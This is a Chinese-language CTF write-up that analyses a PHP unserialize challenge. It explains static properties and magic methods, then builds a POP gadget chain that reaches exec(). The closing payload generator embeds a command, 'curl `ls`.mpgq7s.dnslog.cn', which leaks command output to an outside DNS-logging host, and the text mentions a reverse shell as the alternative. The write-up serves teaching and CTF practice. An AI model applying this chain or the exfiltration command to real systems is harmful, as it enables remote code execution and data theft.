题目:
<?php
class a {
public static $Do_u_like_JiaRan = false;
public static $Do_u_like_AFKL = false;
}
class b {
private $i_want_2_listen_2_MaoZhongDu;
public function __toString()
{
if (a::$Do_u_like_AFKL) {
return exec($this->i_want_2_listen_2_MaoZhongDu);
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}
class c {
public function __wakeup()
{
a::$Do_u_like_JiaRan = true;
}
}
class d {
public function __invoke()
{
a::$Do_u_like_AFKL = true;
return "关注嘉然," . $this->value;
}
}
class e {
public function __destruct()
{
if (a::$Do_u_like_JiaRan) {
($this->afkl)();
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}
if (isset($_GET['data'])) {
unserialize(base64_decode($_GET['data']));
} else {
highlight_file(__FILE__);
}
分析:
经过简单的代码审计之后,我们能够得到flag的,只有通过类b的__toString()方法中的这行代码:
return exec($this->i_want_2_listen_2_MaoZhongDu);
(因为exec没有回显,所以我们可以通过反弹shell来得到东西,这里因为我没有公网IP所以就用
curl `执行的命令`.dnslog 来做示范。)
首先i_want_2_listen_2_MaoZhongDu是类b中的变量我们可控,所以exec中的参数我们就可控了,然后要进行exec(),就得使a::$Do_u_like_AFKL为true,然而我们可以看见类a中的两个变量都是flase,注意这两个变量都是静态变量,刚开始我以为静态变量我们可以在反序列化的时候控制,结果发现不行,原因如下:
示例:
1、
<?php class a{ public static $x=false; public function monica(){ if (!a::$x) { var_dump($this->x); } else { throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!"); } } } $tt=new a(); $tt->monica();
变量x是静态的并刚开始为false。
结果:
我们可以发现a::$x的值为false,而$this->x为NULL
而当我们增加一个__construct()函数的时候:
<?php class a{ public static $x=false; public function __construct(){ $this->x=true; } public function monica(){ if (!a::$x) { var_dump($this->x); } else { throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!"); } } } $tt=new a(); $tt->monica();
结果只改变了$this->x的值:
2、
若我们构造一个序列化字符串:
<?php class a{ public static $x=false; public function __construct(){ $this->x=true; } } echo serialize(new a());
结果:O:1:"a":1:{s:1:"x";b:1;}
进行反序列化:
<?php class a{ public static $x=false; public function monica(){ if (!a::$x) { var_dump($this->x); } else { throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!"); } } } $tt=unserialize('O:1:"a":1:{s:1:"x";b:1;}'); $tt->monica();
结果还是只修改了$this->x的值:
说明使用__construct()修改静态变量的值只会修改$this->静态变量的值。而不会影响
类名::静态变量的值。
3、那么我们如何修改类名::静态变量的值呢?
<?php class a{ public static $x=false; public function monica(){ if (!a::$x) { var_dump($this->x); } else { throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!"); } } } class b{ public $x; public function __construct(){ a::$x=true; $this->x=new a(); $this->x->monica(); } } $tt=new b();
可以发现我们通过实例化b,通过b的__construct()方法将a::$x的值修改为了true、所以在使用$this->monica()方法的时候就进入了else语句。
通过上面的解释,我们知道了不能使用序列化字符串来覆盖类名::静态变量。
全局搜索Do_u_like_JiaRan,发现只有在类c的__wakeup方法中才能使 a::$Do_u_like_JiaRan = true;
知识点:
__wakeup() //将在反序列化之后立即调用
所以我们要序列化的对象一定是类c。
然后我们再回到分析类b的toString()方法
知识点:
__toString(): //当一个对象被当作字符串使用时触发,echo,return一个对象的时候
要想调用toString()方法就必须,找到能够输出类b的地方。最终在类d中发现:
class d {
public function __invoke()
{
a::$Do_u_like_AFKL = true;
return "关注嘉然," . $this->value;
}
}
只有我们将$this->value赋值为类b的实例化对象即可。
但我们发现类d中并没有$value这个变量,但其实我们可以自己创建:
示例:
我们先构造一个序列化字符串
<?php class d { public $a='monica'; } echo serialize(new d());
结果:O:1:"d":1:{s:1:"a";s:6:"monica";}
测试页面:
<?php class d { public function ds(){ echo $this->a; } }
如果我们之间输出一个类中没有的变量是不会输出东西的
但是如果我们反序列化了呢?
成功输入monica!
所以我们就能构造一个序列化字符串,里面的类d中有$value这个变量且他的值为new b()。同时类d的__invoke()方法中还使 a::$Do_u_like_AFKL = true;那么类b中if语句的问题我们也解决了。
其次,要想调用类d的__invoke()方法
知识点:
__invoke() //当脚本尝试将对象调用为函数时触发
所以我们得找到一个函数执行点,且函数名可控;最终在类e中找到:
class e {
public function __destruct()
{
if (a::$Do_u_like_JiaRan) {
($this->afkl)();
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}
因为我们在类c中使得a::$Do_u_like_JiaRan;所以只要在类e中使$afkl=new d()即可。
最后要将类c和类e连接起来;因为我们可以自己在类中构造变量,所以在类c中构造一个变量,使他的值为new e()即可。
最终的payload:
<?php
class b {
private $i_want_2_listen_2_MaoZhongDu;
public function __construct(){
$this->i_want_2_listen_2_MaoZhongDu='curl `ls`.mpgq7s.dnslog.cn';
}
}
class c {
public $cvalue;
public function __construct(){
$this->cvalue=new e();
}
}
class d {
public $value;
public function __construct(){
$this->value=new b();
}
}
class e {
public $afkl;
public function __construct(){
$this->afkl=new d();
}
}
$a=new c();
echo base64_encode(serialize($a));
结果: